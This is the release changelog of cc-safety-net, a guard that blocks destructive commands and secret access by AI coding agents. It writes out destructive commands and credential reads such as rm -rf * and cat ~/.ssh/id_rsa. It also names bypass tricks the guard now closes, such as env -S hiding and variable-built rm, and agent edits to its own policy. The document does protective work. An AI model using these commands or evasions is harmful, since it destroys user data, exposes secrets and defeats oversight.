• Migration: If you installed rulebooks from GitHub on 2.2 or earlier, run npx -y cc-safety-net rule sync once per scope after upgrading, adding --global for user-scope sources. Until then, those GitHub-sourced rules are inactive and status and doctor report the degraded sources.
• Removed the --check option from every rule subcommand; passing it is now an error.
• Migration: Use cc-safety-net rule verify for offline validation of config and rulebooks.

Security

• Blocked agents from applying policy proposals: cc-safety-net policy apply is denied when an agent runs it, including through package runners such as npx, pnpm dlx, and npm exec, and it refuses to run without an interactive terminal. cc-safety-net policy check stays available so an agent can show what a proposal would change.
• Extended policy-file protection to the project .cc-safety-net/policy.json, so an agent can no longer create or modify the project policy that the guards enforce.

A maintenance release that makes Amp block messages explain why a command's working directory was rejected and how to recover from it.

Fixed

• Fixed Amp shell commands whose working directory cannot be resolved being reported as an unexpected internal failure. The command is still blocked before analysis, but the message now states that the requested directory is missing, inaccessible, not a directory, or in an unsupported path form, echoes the command and directory, and tells the agent to retry from an existing accessible directory. (#94)

A patch release that fixes a Windows-only path comparison bug which caused safe deletions inside the system temporary directory to be blocked.

Fixed

• Fixed rm -rf on a path inside the Windows temporary directory being blocked when the path's letter case differed from the resolved temp root, so an MSYS-style target such as /c/Users/<user>/AppData/Local/Temp/claude/... is now treated the same as its C:/Users/... equivalent. (#91)

Adds Grok Build as a supported coding agent CLI, and fixes Windows protection for Git Bash style /c/... paths that previously slipped past checks their C:/... spelling would have blocked.

Added

• Added Grok Build support: install the PreToolUse hook with cc-safety-net install --grok-build (remove it with uninstall --grok-build), or run the adapter directly with cc-safety-net hook --grok-build / -gb. The hook config is written to ~/.grok/hooks/cc-safety-net.json, honors GROK_HOME, and install and uninstall preserve any other hook entries in that file. Note that Grok Build hooks are fail-open by design, so only an explicit deny blocks a tool call; see SECURITY.md for the limits. (#92)
• Added Grok Build to cc-safety-net doctor, which reports the hook as configured and warns when the managed entry has drifted, such as a coverage-narrowing matcher, a handler type other than command, or a changed timeout. (#92)
• Added secret protection for Grok Build credentials and config files: ~/.grok/auth.json, ~/.grok/mcp_credentials.json, ~/.grok/config.toml, ~/.grok/managed_config.toml, ~/.grok/requirements.toml, <project>/.grok/config.toml, /etc/grok/managed_config.toml, and /etc/grok/requirements.toml. (#92)

Fixed

• Fixed Windows handling of MSYS and Git Bash path spellings such as /c/Users/..., which were previously read as paths on the current drive. Recursive rm classification, protected policy path checks, secret-file protection, and HOME and CC_SAFETY_NET_HOME resolution now normalize these to the native C:/... form first, so a destructive command written in the /c/ form is treated the same as its C:/ form. (#91)

cc-safety-net update now refreshes the bunx cache alongside the npx cache, so a later bunx cc-safety-net run picks up the new release instead of the stale cached one. Persistent installs that are behind the latest published version also get a one-line update nudge.

Added

• Added bunx cache clearing to cc-safety-net update. Each run removes the current user's bunx-<uid>-cc-safety-net@* entries from the OS temp directory, including when no integrations are installed. Entries are matched by name, so another tool that merely depends on cc-safety-net keeps its own cache, and the entry the running process was launched from is preserved. (#90)
• Added an update nudge to cc-safety-net update. When a persistent install (for example npm i -g cc-safety-net) is behind the latest published version, the command prints the current and latest versions plus an upgrade hint. Ephemeral npx and bunx runs skip the registry check entirely, and a failed or offline check stays silent and does not change the exit code. (#90)

Changed

• Changed cc-safety-net update to report a bunx cache-clearing failure and exit with a non-zero status, instead of silently succeeding. (#90)

Adds a cc-safety-net/api library entry so Node.js hosts can check a command in-process without installing an agent integration, and hardens --delete-source so it can no longer remove files a concurrent process added.

Added

• Added the cc-safety-net/api package entry exporting checkCommand({ command, cwd }), which returns an allow or deny decision for a single shell command without executing it, writing audit data, changing configuration, or making network requests. Denials include a display reason and an optional ruleId. (#89)
• Added an absolute-path cwd requirement to checkCommand, which anchors relative command targets and selects the project policy so the check never falls back to hidden process state. An unusable directory fails closed with a deny. (#89)
• Added TypeScript declarations for the new entry, so checkCommand and CheckCommandResult type-check from cc-safety-net/api alone without any optional agent-integration packages installed. The entry requires Node.js 18 or later and ESM; there is no CommonJS build. (#89)

Fixed

• Fixed --delete-source recursively deleting files that a concurrent process added to a rulebook source directory after the pre-sync safeguard ran but before the delete. The safeguard now re-runs at delete time, an unexpected file refuses the delete with the existing "delete manually" error and a clean configuration rollback, and only the validated rulebook.json plus the then-empty directory are removed. (#88)
• Fixed --delete-source reporting a failure when the source directory was already removed during the sync, which is the requested end state. (#88)

This release removes two false blocks — literal heredoc bodies and Amp shell commands that run outside the workspace root — and hardens the doctor, GUI, and integration paths against malformed input.

Changed

• Changed the local GUI server to reject a request body larger than 1 MiB with HTTP 413 instead of buffering it in memory.

Fixed

• Fixed the analyzer blocking an unquoted heredoc whose body contains no $, backtick, or backslash. Such a body reaches the command byte-for-byte, so it is now analyzed as literal data, while a body with expansion or escape characters keeps the raw-text scan. (#87, #86)
• Fixed Amp shell calls failing closed when dir points outside the workspace root. The directory is now canonicalized, with symlinks resolved, and the command is analyzed there; a directory that cannot be canonicalized still fails closed. (#85)
• Fixed Git metadata protection covering only the execution directory's repository. It is now anchored to both the execution and configuration directories, so a workspace repository's .git stays protected when a command runs elsewhere. (#85)
• Fixed cc-safety-net doctor exiting 0 while reporting an error-level finding, such as an unsafe policy, config, or audit directory.
• Fixed the GUI policy editor failing to render a draft saved by an older build or damaged in storage. Drafts are now validated against the policy shape and discarded when they do not match.
• Fixed the GUI folder picker offering a dialog program that cannot start. A PATH entry now counts only when it is an executable file.
• Fixed GitHub Copilot CLI detection accepting a hook config with an unexpected shape. An invalid hooks.preToolUse is now reported as a configuration error.
• Fixed Antigravity CLI installation failing on a hand-edited hooks config that holds unexpected JSON shapes. Unrecognized entries are now left untouched.
• Fixed doctor and audit summaries trusting malformed audit log records. A record that does not match the expected shape is now counted as skipped.
• Fixed hook agent detection failing when a payload supplies a non-string transcript path. It now falls back to an unknown agent so analysis still runs.
• Fixed rulebook discovery from GitHub accepting unexpected API responses. It now stops with a clear inspection error.

Fixes a false-positive denial where a command carrying many path-like tokens in a single argument was blocked with a command-analysis-limit error instead of being analyzed.

Fixed

• Fixed legitimate commands being denied with a command-analysis-limit error when one argument contained a large number of path-like tokens, such as a quoted python3 heredoc listing hundreds of file paths. A path whose nearest existing ancestor is past the missing-component limit now resolves to its lexical form instead of aborting the analysis, and the remaining canonicalization budgets still fail closed. (#83)

This release closes an env -S bypass in the policy-file and Git-metadata guards and stops commands full of path-like tokens from being denied as an internal failure. env -S and GNU parallel --env are no longer emulated, so a few commands that previously passed analysis are now refused.

Highlights

• Blocked policy-file and Git-metadata mutations hidden inside an env -S split string, such as env -S 'rm <policy-path>' true (#82).
• Fixed commands containing many path-like tokens being denied as an unexpected CC Safety Net failure; policy-path checks now do far less filesystem work (#82).

Changed

• Changed env -S handling: the split string is no longer expanded. Its value is scanned for destructive text, and an inert value is spliced ahead of the remaining operands and analyzed as the real command line. Under the strict and paranoid safety levels an env -S command is now refused as an unverifiable execution source.
• Changed GNU parallel --env handling: because the selected values are supplied at run time, the command is now refused as unverifiable construction instead of being emulated.
• Improved analysis-limit denials: they now say the command exceeds safe analysis limits and suggest simplifying or splitting it, instead of reporting an internal CC Safety Net fault.
• Changed audit logging so fail-closed failure entries keep the whole command instead of a truncated one.
• Changed the git.alias-config rule to follow the resolved destructive-command rule state, so turning off destructive-command protection now suppresses it too.

Fixed

• Fixed xargs replacement input not being treated as dynamic for the merge, rebase, reflog, rm, stash, and worktree Git subcommands.
• Fixed worktree-mode Git environment tracking: an assignment that only prefixes a command no longer persists into later segments, a NAME=value token after the command word is no longer treated as an environment override, a prefixed unset is now tracked, and command -v/-V is treated as a query rather than an invocation.
• Fixed the policy GUI showing default settings for a partially invalid policy file while the engine enforced the salvaged values; it now shows the policy that is in force.
• Fixed the policy GUI refresh buttons staying disabled and spinning when a reload failed.

Security

• Fixed policy-file and Git-metadata protection missing mutations hidden in an env -S split string; the split words are now scanned against the protected paths.
• Fixed destructive text in a GNU parallel environment value being allowed when the coarse parallel rules or destructive-command protection were turned off; such values now stay blocked in every configuration.

Fixes Amp plugin installation, which could leave the plugin unable to load, by shipping it as a directory plugin and migrating existing installs automatically.

Fixed

• Fixed the Amp plugin failing to load: it is now installed as a directory (cc-safety-net/index.ts) in your Amp personal plugins repository instead of the root file cc-safety-net.ts, which Amp base64-encodes into a single process environment entry that exceeds Linux's per-entry limit. (#79)
• Fixed migration from earlier releases: install --amp now removes the legacy cc-safety-net.ts file in the same commit, so no manual cleanup is needed. (#79)
• Fixed uninstall --amp scope: it now removes only the managed entry file and leaves any other files you keep in the plugin directory untouched. (#79)
• Fixed install --amp reporting the plugin as already up to date when the plugin path is ignored by your personal plugins repository; staging the file now fails with an error instead. (#79)
• Fixed cleanup of a masking local copy: install and uninstall now also remove a ~/.config/amp/plugins/cc-safety-net/ directory when it holds nothing but the managed entry, and refuse rather than delete anything else. (#79)
• Fixed retry instructions in Amp error messages, which told you to rerun install --amp even when the failure happened during uninstall --amp. (#79)

This release blocks forced git rm working-tree removal, closes several audit-found analyzer bypasses, and removes common false denials such as ls -la ~/.ssh and eval "$(ssh-agent -s)" at the standard level. Note two breaking --json output changes in doctor and explain.

Highlights

• Added a git.rm-force rule that blocks forced git rm working-tree removal (e.g. git rm -rf .) at every safety level, motivated by a real-world incident that destroyed a project (anthropics/claude-code#70687).
• Closed analyzer fail-opens found in a security audit: rm -rf * at a home working directory is now blocked at all levels, and strict mode now catches variable-provenance command heads and substitution-derived rm flags.
• Reduced standard-level false denials: metadata-only ls/stat discovery and verifiable local generator sources like eval "$(ssh-agent -s)" and source <(kubectl completion bash) are now allowed.

Added

• Added the default-enabled git.rm-force rule: git rm with an effective --force/-f is blocked unless --cached or --dry-run/-n is present; non-forced git rm and git rm -r --cached . stay allowed. The standard preset now enables 45 rules.

Changed

• Allowed eval "$(CMD)" and source <(CMD) at the standard level when CMD is a single fully literal local command; remote fetchers (curl, wget, ...), shells, command wrappers, and env-assignment-prefixed bodies stay denied, and strict/paranoid still deny every dynamic shell source. Note that the generator's emitted shell itself runs unverified (see SECURITY.md).
• Allowed metadata-only discovery with ls and stat heads (e.g. ls -la ~/.ssh, stat .env) at the standard level; content access such as cat ~/.ssh/id_rsa stays blocked, and strict/paranoid still block both.
• Changed the Kimi Code plugin manifest to intercept all tools instead of only Bash, so the native plugin install protects Read/Write/Edit like the global-hook install already did.

Fixed

• Fixed rm -rf * with the working directory at home being allowed at standard: a bare * now classifies as a root-or-home target and is blocked at all levels, while a quoted literal rm -rf '*' (a single file named *) is classified by its actual target.
• Fixed strict-mode fail-opens where c=rm; "$c" -rf dir, $CMD --version, and rm $(printf -- '-rf') dir were allowed at every level; strict and paranoid now block them while standard verdicts are unchanged.
• Fixed statement-level env assignments with space-containing values (e.g. TMPDIR="/tmp/safe /Users"; rm -rf $TMPDIR/x) escaping shell-state tracking; strict and paranoid now block the word-splitting rm target.
• Fixed Kimi Code ignoring the per-call Bash tool_input.cwd: it is now contained against the session directory and used as the execution directory, failing closed on invalid or escaping values.
• Fixed Pi tool calls being analyzed under the raw context cwd instead of the validated, canonicalized one, and routed the built-in find tool as a read-only glob so searches under protected directories are no longer falsely denied.
• Fixed OpenClaw Code Mode JavaScript exec events being parsed as shell commands and falsely denied, and expanded a leading tilde in OPENCLAW_STATE_DIR and OPENCLAW_CONFIG_PATH.
• Fixed OpenCode integration gaps: slash-rooted Windows workdirs pass through instead of failing closed, config and cache roots follow XDG_CONFIG_HOME/XDG_CACHE_HOME, install now verifies the plugin actually loads, and an unconfigured shell resolves to PowerShell on Windows and to $SHELL elsewhere instead of the auto heuristic.
• Fixed doctor misreporting a never-installed Codex plugin as disabled, missing Copilot CLI hooks defined in ~/.copilot/settings.json and the repository's .claude/settings.json/settings.local.json, and probing codex plugin list with a shorter timeout than install, which could report Codex as not installed where install saw it.
• Fixed the Copilot CLI powershell runtime tool being analyzed with the wrong shell dialect, and the Hermes Agent plugin now resolves the working directory in the host's own order.
• Fixed a successful GUI install rendering an empty status box instead of the success report.
• Fixed explain crashing with a stack trace and empty stdout on analysis-limit inputs (e.g. a recursion bomb); it now prints a bounded JSON error under --json or a plain message on stderr and exits 1. Piped explain output is also no longer truncated at the pipe buffer size.
• Fixed explain trace steps naming functions that do not exist and the env -S denial reason claiming an unreachable condition; the reason now names the real 16,384-token expansion-limit trigger.

Breaking Changes

• Changed doctor --json to report integration versions under a single versions map keyed by integration id instead of twelve flat fields such as claudeCodeVersion.
• Migration: Read versions.<integration-id> instead of the per-integration *Version keys.
• Changed explain --json trace output: rule-check steps emit one rule string in place of ruleModule/ruleFunction, and env-strip.envVars is an array of variable names instead of an object.
• Migration: Read rule for the rule identity and treat envVars as a string array.

Removed

• Removed the Pi Shell tool adapter; the tool no longer exists on the Pi host, and the built-in bash route is unchanged.

This release adds configurable allow paths to secret protection and fixes several cases where the secret path scanner misread commands, including a detection gap for symlinked credential directories.

Added

• Added a secret_protection.allow_paths policy setting with a matching "Allow paths" list in the policy GUI. Literal file or directory entries are exempt from the secret pattern rules; explicit deny paths and the coding-CLI protections still apply. Entries that cover the home directory or the guard's own configuration are rejected, and glob patterns are not supported. (#77)

Fixed

• Fixed the home credential rules (~/.ssh, ~/.aws, ...) so they still block access when the credential directory is a symlink, as commonly created by dotfile and password managers. (#77)
• Fixed false blocks on text that does not name a local file: regex operands such as git grep "process\.env", prose that begins with a sensitive prefix such as .env.example), and remote http(s) URLs. Files that exist on disk with such names, file: URLs, and shell-escaped operands stay blocked. (#77)
• Fixed the explain exemption to cover every documented invocation form, including bunx cc-safety-net explain, npx -y cc-safety-net explain, and bun run <entrypoint> explain. Other runners and packages keep full argument inspection. (#77)
• Fixed the policy GUI so an unsaved draft created before this release restores without breaking the editor. (#77)

This release makes cc-safety-net update faster and gives it clearer progress feedback.

Changed

• Improved cc-safety-net update speed: all detected integrations now update concurrently, and integration detection starts while the install banner plays. (#75)
• Improved update progress feedback: the command shows a spinner while it checks and updates integrations, then prints one result line per integration. (#75)
• Improved Codex updates: the update reuses the codex plugin list output from detection instead of querying the Codex marketplace a second time. (#75)
• Changed the stale npx cache cleanup during updates: the cache is cleared once before the targets run, and a cleanup failure now fails only the targets that depend on that cache while the other integrations still update. (#75)

Fixes a silent failure where custom rules never enforced in plugin installs that copy a repository checkout instead of running a package manager.

Fixed

• Fixed custom rules never loading in repository-checkout plugin installs, such as the Claude Code marketplace, Codex, Copilot CLI, and Kimi Code. These installs have no node_modules, so the schema loader's lazy require('zod') failed and every custom rule stayed inactive while built-in protections kept working. The CLI bundle now resolves its schema dependency from a vendored dist/vendor/zod.cjs copy that ships with the package. (#72, #74)
• Fixed rulebook and policy configuration errors being reported as Invalid JSON on files that are valid JSON. These loaders now report Invalid JSON only for a real parse failure, and show the underlying filesystem or dependency message otherwise. (#72)

Highlights

- Amp personal-scope install. install --amp now publishes the plugin to your Amp Personal Plugins repository, so the safety net follows your account to every machine — including remote Orb threads — instead of living in one local config. - Native Kimi Code plugin. The release now ships kimi.plugin.json, so you can install via /plugins install and let Kimi Code manage enable, disable, update, and removal. The installer offers a choice between the global hook and the native plugin when you select Kimi Code.

Features

- install --amp embeds a snapshot of your user policy in the published plugin. A remote Orb with an empty home directory now enforces your policy instead of only the built-in defaults. - Flagged installs (e.g. install --codex) show a loading spinner while the host CLI runs, so slow network installs no longer look hung.

Fixes

- Windows: npm-installed CLIs ship as .cmd shims, which Node's spawn cannot start directly. All native install probes and commands now route through COMSPEC, so install --codex and the interactive picker work on Windows (#69). - Amp: if an unmanaged file or symlink at ~/.config/amp/plugins/cc-safety-net.ts would mask the newly published personal plugin, the install now fails with an actionable error instead of reporting success while the hook may never run. - Amp: the machine-generated commit in the throwaway checkout now carries an explicit git identity, so the install works on machines with no global user.name/user.email configured. - A stalled host CLI is now killed after 120 seconds and reported as a failure, so an install can no longer hang forever. - The Amp install now stops immediately when its staged-status probe fails instead of attempting the commit anyway.

Internal

- The release pipeline validates kimi.plugin.json alongside the other manifests, preserves manifest formatting when bumping versions, and lints the prepared files before tagging — the failure class that blocked v2.0.2 can no longer reach a tag.

Fixes

• update migrates pre-rename plugins — updating from the old safety-net plugin name now works across hosts:
• Detects the pre-rename Copilot CLI plugin and removes it after migrating.
• Refreshes an already-registered marketplace before installing on Claude Code, Codex, and Copilot CLI, so updates no longer fail against a stale catalog.
• Legacy-plugin cleanup is best-effort: a failure warns instead of failing the target, since the host CLI may have already dropped the record.
• codex plugin list now runs with a 30 s timeout, so a cold run no longer silently drops Codex from detection.
• One failed target no longer stops the remaining update targets; the command still exits non-zero at the end.

Release pipeline

• The prepare-release workflow now takes a patch / minor / major bump choice and computes the next version automatically; an explicit version input remains as an override.
• The publisher looks up GitHub releases with a draft-aware query, fixing a failure on the first publish of a tag.

Upgrade

npx -y cc-safety-net@latest update

Full changelog: https://github.com/kenryu42/cc-safety-net/compare/v2.0.0...v2.0.1

V2 is a ground-up rebuild: one installer for twelve coding CLIs, secret protection, a policy GUI, and a rebuilt evaluation engine with decision tracing.

Upgrading from v1? One command upgrades every installed integration: npx -y cc-safety-net@latest update. If you defined custom rules under v1, see Upgrading from an older version.

Renamed: `safety-net` → `cc-safety-net`

The plugin, npm package, and CLI are now uniformly named cc-safety-net. Claude Code marketplace installs migrate automatically; no action is needed.

Highlights

• Universal installer — interactive install / uninstall / update across all twelve supported agent CLIs (Claude Code, Codex, Cursor, Gemini CLI, Copilot CLI, OpenCode, Amp, Pi, and more).
• Secret protection — built-in rules block access to SSH keys, .env files, cloud credentials, and coding-CLI credential stores, across shell commands and file tools.
• Rebuilt evaluation engine — canonical command IR, immutable policy snapshots, and an ordered guard pipeline with decision tracing via explain.
• Always-on catastrophic protections — recursive deletion of root or home, Git metadata mutation, and policy-file tampering are blocked in every mode.
• Safety presets — standard / strict / paranoid with per-rule overrides, trusted delete allow-paths, and env vars that can only raise protection.
• Policy GUI — cc-safety-net gui serves a local, token-authenticated policy editor with live preset preview.
• Audit trail — allowed and blocked decisions logged to local per-project JSONL with secret redaction; browse with cc-safety-net logs.
• Documented threat model — the SECURITY.md mode contract, explicit resource limits, and a residual-risk registry.

Get started

npx -y cc-safety-net@latest install

Full documentation: https://ccsafetynet.com/docs

Full changelog: https://github.com/kenryu42/cc-safety-net/compare/v1.0.6...v2.0.0

Changes

• fix: avoid duplicate home rule scope (#62) — When the user config path and the project config path resolve to the same file (e.g. running inside $HOME), the rules config was loaded twice, producing duplicate rule entries. The policy loader now detects this via resolve() and realpathSync() and skips the redundant read.

Tests

• test: isolate home scope regression — Added dedicated tests to verify that rules are not duplicated when the home and project scopes overlap.

Thanks to @sQVe for reporting the issue in #61 .

Changes

• kimi-code: resolve config from correct directory — Config path now resolves from KIMI_CODE_HOME / .kimi-code instead of the legacy KIMI_SHARE_DIR / .kimi.
• kimi-code: match PreToolUse hook to Bash tool — The hook matcher was targeting Shell but Kimi Code exposes the tool as Bash. Updated to match the correct tool name.

Docs

• readme: note optional cc-safety-net skill for Kimi Code — Added a note about the /cc-safety-net skill for configuring custom rules.

Bug Fixes

• opencode: write audit logs for blocked commands — When a command is blocked and a sessionID is present, the plugin now correctly writes an audit log entry. Previously, blocked commands in OpenCode sessions were not being logged.
• opencode: inject audit log home directory — The plugin now accepts and forwards a homeDir parameter to the audit logger, ensuring logs are written to the correct location.

Thanks to @johnatas-henrique for reporting the issue in #58 .

Security Fix

• Bumped shell-quote to v1.8.4 — addresses a parsing vulnerability in the upstream dependency (#56)

Thanks to @joerawr for reporting the shell-quote vulnerability in #55.

Bug fix: Preserve effective cwd when cd targets the current directory.

Previously, commands like cd . or cd /current/path would reset the effective cwd to unknown, potentially causing false-positive blocks on subsequent segments. The analyzer now resolves cd targets and recognizes when the directory hasn't actually changed, keeping the cwd intact.

Changes

• fix(analyze): Preserve effective cwd when cd targets the current directory
• fix(explain): Align cwd trace with resolved cd-to-same-directory behavior
• test(rm): Assert rm -rf stays allowed after cd to current cwd

Features

• Expanded Pi shell tool safety analysis — Added support for custom working directories and additional tool adapters, broadening the scope of shell command interception.

Refactors

• Renamed tool_use → tool_call — Aligned internal event handling naming with upstream API terminology.
• Pruned unused exports — Removed dead exports, marked test-only helpers with @internal, and updated AGENTS.md with new knip standards.

Docs

• Added plugin troubleshooting steps to README.

CC Safety Net v1.0.0

This project originally started as a Claude Code plugin and was previously known as "Claude Code Safety Net." With v1.0.0, it has been rebranded to CC Safety Net — where CC stands for Coding (agent) CLI — to reflect its expanded support for multiple coding agent platforms including Codex, Copilot CLI, Gemini CLI, Kimi CLI, Pi and more to come.

Highlights

• Rulebook-backed configuration — Custom rules now live under .cc-safety-net/rules/ with a declarative config, replacing the legacy verify-config workflow. New CLI subcommands (rule init, rule list, rule migrate, rule remove) manage the full lifecycle.
• Pi coding agent extension — Added Pi as a supported integration with hook support and doctor detection via runtime probe.
• Kimi CLI integration — Added as a supported coding agent with doctor detection, system info, and display.
• Centralized integration registry — Hook integrations are now driven by a shared metadata module with flag-based lookup, replacing per-integration boilerplate.
• Expanded destructive command detection — Better coverage for git long-option abbreviations, wrapper commands, find -exec nested analysis, awk escape decoding, ANSI-C quotes, time builtin prefixes, and shell variable targets in rm -rf.

Breaking Change: Custom Rules Migration

The custom rules system has moved from legacy inline config files to a rulebook-based layout. Legacy inline config files (.safety-net.json and ~/.cc-safety-net/config.json) are no longer loaded at runtime. If they contain rules, commands now fail closed (stay blocked) until you migrate. Please read more at here.

Security & Reliability

• Fail closed on invalid hook input, analysis errors, and config loading failures.
• Expanded secret redaction (provider tokens, command substitution env assignments).
• Block git SSH env overrides and shell/awk analyzer bypasses.
• Resolve rm targets and TMPDIR symlinks before safety checks (TOCTOU hardening).
• Rollback config and lock on --delete-source failure.

CLI & UX

• Renamed builtin OpenCode plugin export to cc-safety-net.
• Migrated env mode reading to CC_SAFETY_NET_* prefixed variables.
• Removed legacy verify-config command flags.
• Improved rule command help output and formatting.

Internal

• Major refactor: modular shell/, analyze/, rules/, and git/ directory layout.
• Declarative CLI command dispatch with const-asserted command registry.
• Shared hook adapter, child-analyzer, and deny-output helpers to eliminate duplication.
• Added jscpd duplicate detection to CI checks.
• Comprehensive test coverage for all new features and edge cases.

New Features

• Add Codex Plugin
• Add WorkTreeMode

Changed

• Add worktreeMode option to AnalyzeOptions and TraceStep
• Add linked worktree detection module
• Relax local git discards in linked worktrees
• Add SAFETY_NET_WORKTREE to CLI surfaces and explain
• Add AnalyzeNestedOverrides type and envAssignments to AnalyzeOptions
• Track cwd changes from env -C/--chdir in wrapper stripping
• Propagate env/cwd/worktree overrides through analyzeNested
• Propagate wrapper env/cwd to nested analysis in segment
• Handle remote parallel execution and wrapper info propagation
• Propagate wrapper env/cwd through xargs child analysis
• Track sudo/env chdir and split-string in wrapper stripping
• Track exported git context env vars across shell segments
• Propagate wrapper env/cwd through interpreters, BusyBox, parallel, and xargs
• Verify linked worktree config matches root before relaxing
• Tighten worktree relaxation for recursive submodules and double-force clean
• Support sudo --chdir and git context append env assignments
• Handle typeset, declare, and shell git context env assignments
• Track GIT_INDEX_FILE as git context override and verify gitdir backlink
• Fail-closed on dynamic git arguments and sudo chdir/login in worktree mode
• Track allexport mode and append assignments for shell git context
• Track keyword export and readonly in shell env context, improve builtin resolution
• Treat dynamic stdin and replacement tokens in parallel and xargs as non-worktree-safe
• Fail-closed on dynamic arguments, recursive submodules, and forced branch resets in worktree mode
• Physical path resolution and symlink hardening
• Track git config envs, keyword exports, readonly, and builtin
• Improve parallel placeholder detection and dynamic args handling
• Worktree hardening with PATH bypass and config env detection
• Seed exported names from process env and git config-affecting env vars
• Read local git config for recursive submodule check before invoking git binary
• Expand trusted git binaries and export for testing
• Add Windows Git binary paths to trusted binaries list
• Add Codex platform hook detection
• Color error messages red in hooks section

Breaking Changes

• Migrate slash commands to skills format

Fixed

• Keep ref-moving resets blocked, relax only local discards
• Use wrapper-resolved cwd in explain segment and disable fallback worktree relaxation
• Propagate env assignments and wrapper cwd into nested analysis
• Use platform-aware path separators for Windows compatibility
• Use wrapper cwd in xargs and parallel rm analysis
• Compare paths by inode identity with normalized realpath fallback
• Handle Windows native realpath prefixes in path comparison
• Handle double-quoted escapes in git config value parsing
• Treat missing trusted git binary as recursive submodule config enabled
• Parse commented JSON in Copilot CLI config files
• Handle Claude Code plugin list without blank separators
• Parse Codex config section headers with inline comments
• Use effective enabled state for Gemini CLI extension detection
• Exclude metadata email lines from Claude Code plugin block detection

Related Issues

• Issue #44: Relax destructive-change rules when running inside a git worktree
• Issue #47: [Feature]: Allow to bypass some rules
• Issue #46: [Feature]: Support for Codex (closed by PR #49)

Related PRs

• PR #48: Worktree mode (closes issue #123)
• PR #49: Codex hooks compatibility (closes issue #46)

Fixed

- Allow rm -rf for explicit temp-directory targets such as /tmp/..., /var/tmp/..., and $TMPDIR/... even when the current working directory is $HOME - Move home-directory rm classification into the shared rules-rm analyzer so blocking decisions and explain output follow the same target-aware path

Related Issues

• Issue #41: False positives block legitimate cleanup operations and string literals in gh commands

Related PRs

• PR #42: fix(rules-rm): allow temp targets when cwd is home directory

New Features

• Detect copilot-safety-net plugin installs in doctor via copilot plugin list

Fixed

• Populate configPath consistently when Copilot CLI is detected through the plugin flow
• Report copilot-plugin as the config path for plugin-based Copilot CLI detection

Related PRs

• PR #40: feat: add copilot cli plugin detection to doctor command

New Features

• Add doctor support for GitHub Copilot CLI, including detection of Safety Net hooks in repository hook files, user hook files, and inline Copilot settings with version-aware diagnostics.
• Block git switch --force, git switch --discard-changes, and git checkout --force / -f.

Changed

• Show the detected Copilot CLI version in doctor output and probe Copilot version commands more quickly and reliably.
• Expand Copilot CLI setup documentation to cover hook-file and inline config variants, config precedence, disableAllHooks, and COPILOT_HOME.

Fixed

• Close a TMPDIR path traversal bypass so non-temp overrides cannot escape /tmp, /var/tmp, or the system temp directory.
• Harden shell parsing so destructive commands are still detected inside redirects, nested command substitutions, arithmetic expansions, grouped subshells, process substitutions, and attached backticks.
• Fix git checkout argument parsing for ambiguous ref/pathspec cases and documented option variants without misclassifying value-taking flags such as git switch -cfeature.

Thanks to @jacoballen4534 for identifying and suggesting the fix for Windows support in #21.

Thanks to @lgandecki for identifying the npx performance overhead.

v0.3.2 (2026-01-03)

Fix

• add AskUserQuestion tool to improve UX

v0.3.1 (2026-01-02)

Fix

• Add cross-platform script execution compatibility

v0.3.0 (2026-01-01)

Feat

• add short option expansion to custom rule matching
• add commands for custom rules management
• detect find -exec rm -rf as destructive pattern
• add verify_config script for config validation
• integrate custom rules into hook analysis
• add custom rule matching logic
• add config loading module for user-configurable rules

Fix

• stop _short_opts parsing at non-alpha chars and -- marker
• Block rm -rf of cwd itself even when under /tmp/

Refactor

• improve verify_config output formatting
• return ValidationResult from validate_config_file

v0.2.0 (2025-12-29)

Feat

• add audit logging for denied commands
• add paranoid mode environment variable checks
• detect dangerous commands via xargs and parallel
• block git worktree remove --force
• block git checkout <ref> <pathspec> without --
• block find -delete destructive command

Fix

• Add cross-platform script execution compatibility
• recognize rm -R (uppercase) as recursive and respect -- delimiter
• preserve case sensitivity for git branch -D detection

Refactor

• rename strict to paranoid for rm rule parameter

v0.1.0 (2025-12-26)

Feat

• initial implementation